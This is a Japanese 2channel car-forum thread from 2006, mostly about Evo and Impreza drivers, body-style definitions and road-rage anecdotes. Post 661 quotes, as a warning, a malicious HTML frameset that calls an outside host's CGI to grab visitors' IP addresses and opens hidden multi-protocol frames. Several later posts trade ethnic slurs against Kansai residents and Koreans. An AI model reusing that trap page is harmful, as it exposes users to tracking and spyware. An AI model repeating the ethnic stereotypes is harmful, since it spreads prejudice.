661 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 22:24:53 ID:8Fksbj/R0
プロキシサーバが弾き飛ばしたぜーm9(＾Д＾)ﾌﾟｷﾞｬｰｰｰｯ

内容はこんな感じ
<html>
<frameset rows="100%,0,0,0,0,0,0,0,0,0">
<frame src="http://www.hellplant.org/cgi-bin/xoor/serpent.cgi?mode=ipget&port=3457">
<frame src="ftp://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="gopher://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="https://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="pnm://www.hellplant.org:3457/pnmiptrace" scrolling=no noresize>
<frame src="mms://www.hellplant.org:3457/mmsiptrace" scrolling=no noresize>
<frame src="rlogin://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="tn3270://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="telnet://www.hellplant.org:3457/" scrolling=no noresize>
<frame src="news://www.hellplant.org:3457/" scrolling=no noresize>
</frameset>
</html>
662 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 22:32:24 ID:NWHx3cza0
>>653はやばいのか？
663 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 22:41:48 ID:wWVfyj+W0
>>662
俺の場合はリセットボタンに手をやりつつクリックしたら、
CGIが色んなの呼び出し始めたから強制リブートしたよｗ
その後Ad-aware掛けたらｽﾊﾟｲｳｪｱが鎮座してたｗ

まぁ、>653は一遍氏んどけ
664 ：名無しさん＠そうだドライブへ行こう：2006/02/06(月) 23:49:19 ID:bBER+PaZ0
ミニバン乗りだが、
インプえ～やん。ほしいさ。
こないだWRC仕様のを
コンビニに止めてんの見てたら
中まで座らせてもらった。あん時のにーちゃんあんがと。
665 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 00:17:06 ID:xK0+cPEQ0
エボ・インプに限らず高速運転してるとき、後続車は全てあおってきてる気がする・・・
四国の田舎をはしるのだが、二十年以上昔の軽トラでは仕方がないか・・・たまに１００キロでます。
四国の高速はすいてるから良いのだが高知や徳島などは追い越し車線なかったりするからなー
早朝や夜中走る様に気をつかっているのだが、軽トラは高速のっちゃいかんなと自分でもおもってみたりする。
666 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 00:21:47 ID:Xbxv/3Xk0
エボ5の頃は高速で追い越し車線走ってるとみんな逃げるように譲ってきたけど
FDになってからはみんなどいてくれない
エボ5の顔がいかにも怒ってるようで威圧感があったのか
FDは低すぎて全走車からは見えず気が付かないだけなのか・・・
667 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 00:36:01 ID:5sDTYjGW0
>>653
通報しました。
668 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 00:45:27 ID:5sDTYjGW0
>>653みたいなのをキモヲタというのだ。
669 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 00:51:28 ID:dYAYF+cO0
イボ・インポで騒ぐ程、日本が落ちぶれた原因は何ですかね？
670 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 00:52:27 ID:5sDTYjGW0
他のメーカーが4WDターボから撤退したからだと思う。
671 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 01:14:21 ID:6/qHTgY1O
>>669
2Lのﾉｰﾏﾙで国産最速の部類だからだろ
競技でも他にライバルないし
672 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 01:18:58 ID:6rjJOX5u0
>>671　
　ゼロヨンやニュルのタイムだとインプ、エボは国産車屈指では？
しかしスバルはやせ我慢やめてEJ25ターボベースにすれば一気に
↑狙える気がするが・・。
673 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 01:23:16 ID:5sDTYjGW0
EJ25化には織れも賛成。
非STiに設定すればいい。
674 ：セダン乗り：2006/02/07(火) 07:04:07 ID:s+jthlP7O
俺はクラウンに乗ってるけど、ランエボとかインプレッサはそーとー好き！
セダンて所が特に
675 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 20:31:08 ID:rSsNzb+x0
＞セダン好き
気持ちは何となくわかる。
俺もミニバンへの乗り換えにはいまだに抵抗感がある。
676 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 21:34:38 ID:PqUY+O2o0
雪国だけどなんかこの前物凄いふかしたりしてレースするように雪ぶっ飛ばして走ってたエボがいた。
あれは自分の世界なのだろうか
677 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 21:58:51 ID:zHOjnXyn0
>>653をクリックしてしまったのですがパソコンは大丈夫なんでしょうか？
678 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 22:16:21 ID:KzeiVNPX0
クッキーとキャッシュ消しとけ
やり方くらいぐぐれ
679 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 22:41:31 ID:zHOjnXyn0
>>678
そうすれば大丈夫なんですか？
680 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 22:46:11 ID:KzeiVNPX0
それでも心配ならオンラインスキャン汁
やり方はぐぐれ
681 ：名無しさん＠そうだドライブへ行こう：2006/02/07(火) 23:47:38 ID:zHOjnXyn0
>>680
それで大丈夫なら心配ないですか？
682 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 00:00:20 ID:CZoyXw6x0
どうしても気になるならディスクを初期化してＯＳから再インストールだな。
それが安全確実
683 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 00:08:05 ID:e1epLCrM0
もっと安全な方法は、PCを買い換えることだな。
684 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 00:08:20 ID:fInU57e50
いやいやBIOSに残ってるかもしれん。
買い替えだな。
685 ：684：2006/02/08(水) 00:09:50 ID:fInU57e50
かぶったorz
686 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 00:22:42 ID:U1Ntlq120
Ｓｔｉ Ｖｅｒ６とか２２Ｂとかはクーペになるんかの？

確か２ドアだったと思うんだが
687 ：テラヤバス：2006/02/08(水) 00:23:40 ID:y3FcrI3s0
>>655
(((((((( ；ﾟДﾟ)))))))ｶﾞｸｶﾞｸﾌﾞﾙ

みんな踏むんじゃないぞ！
688 ：テラヤバス：2006/02/08(水) 00:24:30 ID:y3FcrI3s0
ごめん>>653こっちだったよ・・・orz
689 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 00:38:09 ID:hsfczQaG0
>>687
踏んじゃいました。どうなるんですか？
690 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 01:19:44 ID:6dqRVU+O0
ネット初心者さん、なんでも聞くのではなく自分でしらべなければいけませんよ
そんなんだからこんな低レベルなウイルスに引っかかるんです

スパイウエア　対策　
等のキーワードで検索してみては如何でしょうか
２ｃｈじゃなくて、gooとかみたいな初心者向けｺﾐｭﾆﾃｨなら丁寧に教えてくれますよ

ｳｻﾞｲんじゃﾎﾞｹ初心者板池
691 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 01:21:31 ID:e1epLCrM0
>>686
22Bは文句なしにクーペだが、STi VerⅥ6だからってクーペとは限らん。
STi Ver.Ⅲ～ⅥのタイプRAがセダン（4ドア）でタイプRがクーペ（2ドア）。
ちなみにSti以外だと、リトナもクーペだな。中古市場にも殆ど出てこない不人気車だが。
692 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 01:25:42 ID:e1epLCrM0
追記

あれをクーペじゃなくて2ドアセダンって呼びたいなら、それは個人の定義なのでどうぞお好きに。
でもそれを言ったら、今度はRX-8は4ドアクーペか？ということを言い出す人がいるかと思います。
だからここでは2ドア＝クーペ、4ドア＝セダンと単純に定義してます。
その辺の定義付けの議論をどっか別スレでやってたと思ったんで、気になったら適当に検索してみてくれ。
693 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 02:28:31 ID:Ts16jWev0
M3も
２ドアセダンらしいです。

あと、ウィルスが気になるなら初めからセキュリティ入れとけ。
織れも詳しくは無いが、常識だと思ってたよ。
694 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 09:45:05 ID:Y2clJJwm0
２ｃｈに限らず、色々な苦い経験をして
大きくなって行く訳ですよ。

>>653をホイホイクリック。
ブラウザクラッシュ→慌てて強制終了→再起動→ＰＣあぼ～ん
ＨＤリカバリー→工場出荷時に戻る→でもなんか変orz
695 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 10:21:22 ID:Om5GtjA70
>>693
M3ってメーカー自身がクーペていってるんだけど
696 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 10:34:43 ID:q2f+SuGD0
GT-Rもメーカーがクーペっていってるな
697 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 17:06:59 ID:p0WKY9ud0

　　　ｿVvミﾍ/Wｖ彡vV/ ミ∠ﾐ::
　　ﾐミ　　　　　　　　 ＿　　　ミ:::
　 ﾐ　 　 二__, --､r'"___､　ヾ　ﾄ､::ヽ
　 ﾐレ'"~,-,､　!　　! ' '"￣ .ノ　＼ヾ:､
　　K/ｰ'~^~_/　 ヽﾐ:ー‐‐'"　　　ヽ　i.
　!〉　ｰ―'"( o　⊂! ' ヽ　　　∪ 　 Y_
　i　　∪ 　,.:::二Ｕﾆ:::.､.　　　　　　 l　i　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　.!　　　　 :r'ｴ┴┴'ｰダ　∪　　　 !Kl ＜　いやぁ～ 貧乏人どもよ
　.i､　 .　　 ヾ=､＿_.／　　　　　　　 ﾄ= ｜　悔しかったらエボ買って掛かって来いよ
　 ヽ.　:､∪　ﾞ　-―-　　　　,;　∪　,! 　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　＼. 　:.　　　　　　　　　.:　　
698 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 17:39:54 ID:Ijj+Md3nO
セダンもクーペもボディの形は結構似てるけど、４ドアならセダン、２ドアならクーペ。
４ドアクーペも２ドアセダンもない。
４ドアって時点でセダン、２ドアって時点でくーぺ。
わかったか！！
699 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 20:21:32 ID:+6GbwBGq0
>>698
それだと絶対に
「じゃあ軽トラは2ドアだからクーペだな。ジムニーはクーペだな」って言う厨房が出てくる。
出てくる前に俺が言ってやったぜｗ
700 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 20:46:07 ID:hsfczQaG0
>>694
>>653ってウイルスなの？クリックしたけどなんともないけど
701 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 20:58:55 ID:aETI8Ry6O
>>699
軽は軽

それ以上でもそれ以下でもない

クーペ？貨物？いえ軽です
702 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 21:00:45 ID:euQO/m2F0
セダンでも３００馬力４００馬力があたりまえの時代になると
直線のみならエボインプも昔ほどのアドバンテージは無くなるな
703 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 21:04:55 ID:ugyvYx6W0
>700
スパイウエア５４個が検出されましたが？
704 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 21:11:17 ID:aETI8Ry6O
>>702
ｴﾎﾞｲﾝﾌﾟもセダンです

パワーウェイトレシヲが違います
ギア比が違います

そもそもｴﾎﾞｲﾝﾌﾟはハイスピード域遅いです
705 ：WRXワゴン：2006/02/08(水) 21:15:47 ID:31g/lOBT0
>>702
エボインプはコーナリング命の車。加速はあくまでもおまけ。
それがエボインプ乗りの心意気ってもんです。
706 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 21:17:21 ID:Tt2SVifR0
Windows９５使ってるやつはウイルス平気だ。
707 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 21:18:04 ID:Ijj+Md3nO
>>699
いや、軽トラとかジムニーとかってあきらかにボディの形が違うだろ。
とりあえずコンビニか本屋行って、カーセンサーか何だったか忘れたけど、セダンとかクーペとかステーションワゴンとかクロカンとかコンパクトって感じでボディタイプ別に分けてある中古車雑誌観て来い。
話はそれからという事で。
708 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 21:21:55 ID:euQO/m2F0
エボインプが後ろに付くとマジで不愉改
709 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 22:50:37 ID:S6lxactF0
アテンザワゴン買いなさい。
710 ：名無しさん＠そうだドライブへ行こう：2006/02/08(水) 23:15:07 ID:Q0rp6IZo0
>>705
厳密にいえば
立ち上がり加速で勝負キマーリね。
711 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 14:05:33 ID:j4sXJ5vv0
GT-Rのフル加速は気持ちいい
エボインプのフル加速は怖い

こんな感じ
712 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 14:27:28 ID:bKcpzHwX0
>>705
エボインプがコーナーリング命って・・・
俺は加速命の車だと思ってるぞ
713 ：WRXワゴン：2006/02/09(木) 14:57:19 ID:OIygef2l0
>>712
加速なんてのはすぐ慣れちゃうと思うんですよね～。でも、コーナは慣れない。
そこでどれだけ味わいがあるかが車の価値じゃないかと思うです。

自分的にはフロントがインに入って、リアが流れてる状態からのトルクイン
がすごく楽しい車だと思ってます。わずかなカウンターとアクセルで姿勢を
制御できるFR的な瞬間、そこからどうとでも持っていける柔軟性。

残念なのは一般路ではなかなか攻めきれないコト。結果として加速だけを楽し
む車になってるならチト残念。おいでませサーキットへ。
（一般路は車間取ってのんびり走れば評判も良くなってウマー）
714 ：712：2006/02/09(木) 15:46:11 ID:bKcpzHwX0
俺もコーナー立ち上がりのアクセル全開は楽しい
4駆の筑波の最終コーナードリなんて最高
でもそれこそ加速命なんじゃ・・・

コーナー命なのは個人的にはS2K
あれほどの横Gを感じたのは初めてだった
715 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 15:47:49 ID:uwu1P+5K0
コーナリングマシンはﾝﾀﾞ車に多い気がする
716 ：712：2006/02/09(木) 15:48:22 ID:bKcpzHwX0
追加
4駆は車がどっちを向いていてもドラッグレースのように加速できる乗り物だと思ってる
717 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 16:48:55 ID:zN5LsgUR0
225/45R16のｿﾌﾄｺﾝﾊﾟ入れた最初は横Gと減速Gで鼻血出るかと思った
この辺は車というよりタイヤ＋ブレーキ性能への依存だな。
718 ：WRXワゴン：2006/02/09(木) 16:49:12 ID:OIygef2l0
>>714
加速は車の仕事なので、人としてはどうやってソコに持っていくかが問題で、
そのプロセスが面白いかどうかだと思うんですよ。
（絶対コーナリング性能で語ると強敵満載。最強は何だでモメそうw）

んで、筑波最終でしたら車の型（姿勢）にこだわります。フル加速で複合の
最後をうまく抜けれられる型。（なかなかうまくいかないけど）これを作る
作業が面白い部分だと思います。うまく脱出できれば後は車の仕事。FRと異
なりアクセルを大雑把にベタ踏むだけ。S2Kなぞはアクセル命かも？
719 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 20:16:57 ID:0VXRULM+0
エボ印譜がこわいの？ぉらコスモ20Bのほうがこわくない？
720 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 20:21:40 ID:0YdYKeG2O
>>719

ガス欠の方が怖い罠
721 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 20:25:12 ID:0VXRULM+0
>>720
そうかい、載り方ではｗ
巷は2とかいうけど4くらいはいくだろ、エボ印譜でもそれくらいはいるだろ。
それよりAPEのほうがこわいかも。
722 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 20:37:28 ID:xCYgJWKi0
インプなんかはコーナリングマシンじゃないだろ
４ＷＤは立ち上がり加速で詰めてくものなんだから。
723 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 20:58:19 ID:OxNSE/s00
コ「次、ヘアピン」
ド「マジ？とりあえず滑らしとけｗｗ」


ド「出口発見！アクセルどーん！」
724 ：名無しさん＠そうだドライブへ行こう：2006/02/09(木) 23:23:06 ID:MJeL8gm60
コーナリングマシンといえば
FDかS2Kでしょう。
725 ：名無しさん＠そうだドライブへ行こう：2006/02/10(金) 02:14:37 ID:DAfdW7oR0
だれか乗せてください
わたし茨城です。
726 ：名無しさん＠そうだドライブへ行こう：2006/02/10(金) 04:00:40 ID:0lw6pO+d0


　　ｿVvミﾍ/Wｖ彡vV/ ミ∠ﾐ::
　　ﾐミ　　　　　　　　 ＿　　　ミ:::
　 ﾐ　 　 二__, --､r'"___､　ヾ　ﾄ､::ヽ
　 ﾐレ'"~,-,､　!　　! ' '"￣ .ノ　＼ヾ:､
　　K/ｰ'~^~_/　 ヽﾐ:ー‐‐'"　　　ヽ　i.
　!〉　ｰ―'"( o　⊂! ' ヽ　　　∪ 　 Y_
　i　　∪ 　,.:::二Ｕﾆ:::.､.　　　　　　 l　i　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　.!　　　　 :r'ｴ┴┴'ｰダ　∪　　　 !Kl ＜　いやぁ～ そんなに僕に乗りたいの？
　.i､　 .　　 ヾ=､＿_.／　　　　　　　 ﾄ= ｜　ちゃんとお金払ってよ！ﾊｧﾊｧ
　 ヽ.　:､∪　ﾞ　-―-　　　　,;　∪　,! 　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　＼. 　:.　　　　　　　　　.:　　
727 ：名無しさん＠そうだドライブへ行こう：2006/02/10(金) 14:59:27 ID:5sHfDsdg0
２０Bの燃費の悪さはハンパない。
バブルだから許されたエンジン。
RB26や4G63もそこまで酷くない。
728 ：名無しさん＠そうだドライブへ行こう：2006/02/10(金) 15:24:12 ID:fslS/7r60
>>727
確かに燃費もハンパじゃないが走りもRB26や4G63の比ではないｗ
729 ：名無しさん＠そうだドライブへ行こう：2006/02/10(金) 15:30:19 ID:5sHfDsdg0
フォローする気はさらさら無いが
メーカーが一代で終わらせたのもその原因。
4ローターはルマン優勝をしたではないか。

結局はメーカー自体が２０Bを舐めてたんだね。
730 ：名無しさん＠そうだドライブへ行こう：2006/02/10(金) 15:34:26 ID:fslS/7r60
>>729
以前プロXでやってましたね、破綻後のフォード治世下での日々ｗ


731 ：名無しさん＠そうだドライブへ行こう：2006/02/10(金) 19:34:19 ID:I1jOu5u9O
不愉快度ではエボ5、6、8が最強
イボイノシシかよ
732 ：名無しさん＠そうだドライブへ行こう：2006/02/10(金) 19:59:40 ID:SAPFGx8Z0
よく曲がるノシシ
733 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 01:51:10 ID:+d9t1eJw0
>>731
市ね。
734 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 01:52:36 ID:QGSGYZ+e0
エスティマこの世から消え失せろ
735 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 02:07:23 ID:+d9t1eJw0
ステップDQNも消え失せろ。
736 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 04:47:50 ID:RQ5RBj/EO
街中では五速フルクロスなんで発進はミニバン以下なんです…遅くても許してくんろ。
イノシシの五型ＲＳのりでした。
737 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 04:56:02 ID:+d9t1eJw0
それでも普通車に比べればクロス気味なんで
よく街中では１速から３速とかにとばしてギヤチェンジしてる６型GSRのりでした。

738 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 05:52:53 ID:vHz/fubr0
>>736
薄板？
739 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 13:11:45 ID:EPVdWCnZ0
具体的な理由も無く、単に後ろに付くだけで不快とか言ってる香具師は
妙な劣等感でも感じてるのか？　そんなもんいちいち気にするな。
740 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 13:40:16 ID:kGRc3Dha0
それが糞ミニバンクオリティ。
741 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 14:10:19 ID:3kgZD1pH0
>>739
無理
742 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 15:13:31 ID:QF5dpX0X0
>>734
今朝高速で追い越し車線をふさいでるエス手間にパッシングしたら、馬鹿みたいな急ハンドルでレーンチェンジ。
前が空いたんでスルーっと追い抜くと、なんと走行車線からハイビーム攻撃を！（　´,_ゝ`）ﾌﾟｯ

ＤＱＮエス手間の前を走っていた陸送屋のローダーが可哀想だったな。哀れなＤＱＮにはピッタリの車だが。


743 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 15:19:20 ID:TFtwSrdx0
俺は違う車だがエボ、インプ乗りのマナーはあまり悪くないがなあー。
商用のバンの方がよっぽど調子に乗って走ってるぞ。
744 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 15:41:04 ID:RQ5RBj/EO
でしょ？ 気をつけて乗ってるもん。

まぁ踏むときゃ踏むが…。
745 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 19:02:51 ID:DhbIFl0g0
＞なんと走行車線からハイビーム攻撃を！（　´,_ゝ`）ﾌﾟｯ


いいじゃん。
しまいには勝ったってことでしょ？
746 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 19:49:36 ID:G8SKahS20
俺は前が現行型ベンツS600の黒でフルスモークで、後ろからものすごい速度で
現行型BMW7シリーズと思われるのが猛追してきた事があるぞ。後ろからきたBMW
は馬鹿みたいなオッサンが乗ってて「はよいかんかいワレ！！」とか言わんばかり
にクラクション鳴らしてくるし、前のベンツは余裕かまして40キロ走行してるし、
反対車線は渋滞してるしもう泣きたくなってきた。
で、譲ろうと思い左側にコンビニを発見して駐車場に車を入れたらBMWまでついて
きて「人がパッシングしとんのに良い根性しとんなワレ。舐めとんのかおー」とか
駐車場ですごまれた。
んな事ベンツにいえよ、とか思ったけどすんませんと謝って、なんとか収まりがついた。
関西なんて二度と行きたくねー。おかしいよ。
747 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 19:54:51 ID:8rumdxhPO
そういう時はサクッとシフトダウンだろ 高速ではそうしてる
748 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 22:29:07 ID:6Wl1dwkW0
>>746
誤るな。K察呼べって。
マジで。
749 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 22:40:52 ID:AYP4q3yw0
>>748
警察なんかが役に立つと思うか？
750 ：名無しさん＠そうだドライブへ行こう：2006/02/11(土) 22:49:13 ID:mADzYH9wO
呼ばないで普通に警察署まで行けば追ってくるんじゃない？
751 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 00:19:11 ID:5YVxPft00
ﾜﾛﾀ

警察呼んでも根本的な解決にはならんな
警察の目の前じゃﾎﾞｺられない、って程度じゃね
752 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 09:31:26 ID:jqsZHz7u0
自分の身は自分で守る。
織れは防弾チョッキとバールを常備している。
753 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 10:17:28 ID:CaBTQox00
関西と言えば、10年くらい前かな？Y33シーマが発売したあたりの時、
赤信号が前の車が止まっていたのにY33シーマのやくざみたいなのが
「何止まっとんじゃコルァ！！信号なんか無視しろボケー」とか窓
あけて怒鳴ってたのが思い出される。
修学旅行で凄いもんみてしまったとか思った。
754 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 10:19:20 ID:R6EEgNwsO
どう見てもマイカーなら、ナンバーだけしっかり記憶して、殴られて通報して慰謝料治療費たっぷり請求しよう
755 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 10:43:38 ID:CaBTQox00
関西はマイカーにヤクザや在日や殺人犯が普通にいるだろ。
関西の住民の内訳。

ヤクザ６割
在日３割
殺人犯2割
普通の人ひきわり
756 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 10:52:41 ID:R6EEgNwsO
犯罪大国 関西国には絶対行かないと心に誓います
757 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 12:25:20 ID:ntp1fN+Q0
>>755
たすと10超えるが
これはかなりの人々が2つ以上かぶってるってことか？

やっぱ関西って怖いな
758 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 13:07:40 ID:O8wckPzF0
東京に犯罪人がいないという誤った考えが怖いわけで・・・
759 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 13:35:11 ID:R6EEgNwsO
>>758
関西には一般人はいないという認識

日本国にある巨大な九龍城

日本の法律が適応されないスラム街

間違ってる？
760 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 13:39:45 ID:O8wckPzF0
>>759
人情を感じないようであれば、大阪に来んでよろしい。
761 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 13:44:46 ID:zSocYIpu0
>760
お断りだ
762 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 14:51:44 ID:R6EEgNwsO
>>760
関西国では物を買う時値切るのが当然と聞きました
つまり、それを知らない、値切り方を知らない日本国民にたいしてボッタクリ価格で販売してるということではないのでしょうか？
恐るべし関西国
763 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 16:35:47 ID:ukjD8AOd0
それ、関西ではなく
全て大阪限定の話だと思うのですが・・・

京都、神戸ではありえない。
764 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 18:40:57 ID:O8wckPzF0
>>762
あれ？
だから、関西人が東京に行って成功してるんだが・・・。
東京の商人はほとんど関西の出稼ぎの人間が多いよ。というか、
歴史を辿ると近江商人にぶち当たるわけですが。何か？
765 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 18:47:50 ID:R6EEgNwsO
>>764
つまり関西という国が悪いのか……

766 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 19:04:29 ID:O8wckPzF0
>>765
いや、国の将来が危ういと思う。関西人が興した企業が全部なくなれば。
それだけ多い。調べてみ。
767 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 19:08:40 ID:R6EEgNwsO
>>766
今現在中国が消滅すれば困る
みたいなもんか？
768 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 19:09:48 ID:O8wckPzF0
>>767
誰も困らん。以上。
769 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 19:14:21 ID:R6EEgNwsO
>>768
安い食品、安い労働力、安い資源が手に入らなくなる
770 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 21:06:00 ID:G0wILpQO0
その安さが先進国の賃金水準の下降圧力となっているのだが
771 ：名無しさん＠そうだドライブへ行こう：2006/02/12(日) 21:07:48 ID:GEdgB5ACO
>>752
つ ヘクトパスカル
772 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 00:17:07 ID:g5MhgN+80
ま、関西人が居なくても日本はだいじょうぶだけどな。寧ろの部分のが多いんじゃないか？

でさ、話がスレと関係無くなってるんだけど
773 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 00:20:59 ID:76EshUwo0
>>772
大丈夫じゃないな。関東の企業は確かに国の援助を受ける方法を良く知ってるけど、
そのおかげで、税金を食いつぶしているのも、首都圏の企業。
774 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 05:58:24 ID:bJw2qyCt0
大阪と神戸を一緒に見るな。
775 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 07:54:19 ID:Bd6Qt6SKO
で　ｴﾎﾞとｲﾝﾌﾟは
776 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 08:07:29 ID:6rffqoSPO
>>775
もうその話は終わった。
777 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 12:38:01 ID:OYlDPXY2O
大阪人＝某半島人

桶？
778 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 12:41:36 ID:plnUXMY70
大阪と東大阪も一緒に見るな。
779 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 12:54:54 ID:OYlDPXY2O
真なる九龍城は大阪国か？
それとも関西国か？
780 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 14:33:34 ID:KxjS1Awe0
スレ汚しども、この辺で暴れて来い！
　　　　　　　↓
　　ハングル
　　http://society3.2ch.net/korea/
　
　　地理お国自慢
　　http://travel2.2ch.net/chiri/

　　地理・人類学
　　http://academy4.2ch.net/geo/

781 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 16:56:35 ID:j/LRj2pq0
ｵﾚ、ｱﾙﾄﾜｰｸｽだけど、高速でｲﾝﾌﾟブッちぎったよ。
782 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:04:40 ID:tGyq9ODBO
>>781

( ﾟДﾟ)ﾊｧ？
(⊃д⊂)ｺﾞｼｺﾞｼ
(;ﾟДﾟ)ﾏﾁﾞﾃﾞ？
(⊃д⊂)ｺﾞｼｺﾞｼ
なんだ…釣りか(*´▽｀*)ｹﾗｹﾗ

783 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:08:17 ID:WwXxl/0E0
エボ・インプ乗りって
街中で見る限り、わりとﾏﾀｰﾘ走ってる人多いと思うんだが
前見たインプ乗りなんて
片側２車線の道で、ひたすら走行車線をﾏﾀｰﾘ走ってたぞ。60km/h？くらいかな

ここで言われてるのと違って、抜かれても全く気にしてない感じ
普通車のほうがよっぽどアフォみたいなスピード出してる気がする
784 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:14:54 ID:Yjv7N2Jd0
あれだよ、デッカちゃんなリアウイング見るとイラッと来るんだろ、特にミヌバソ乗りは。

加速も最高速も勝てるわけ無いのにね（　´,_ゝ`）ﾌﾟｯ　ごくろーさまです。
785 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:17:04 ID:I9DW5pI20
ミニバンにロータリーターボ2基とか積んで800馬力にしてランエボぶっちぎる漢はいないのか
786 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:25:12 ID:wA1CKeKh0
コーナーはどうすんだよ？>>785
787 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:27:09 ID:tbeY9boc0
曲がらないなら曲がるように道を傾けてしまえばいい。
腕力を鍛えないとな。
788 ：名無しさん＠そうだドライブへ行こう：2006/02/13(月) 19:28:57 ID:I9DW5pI20
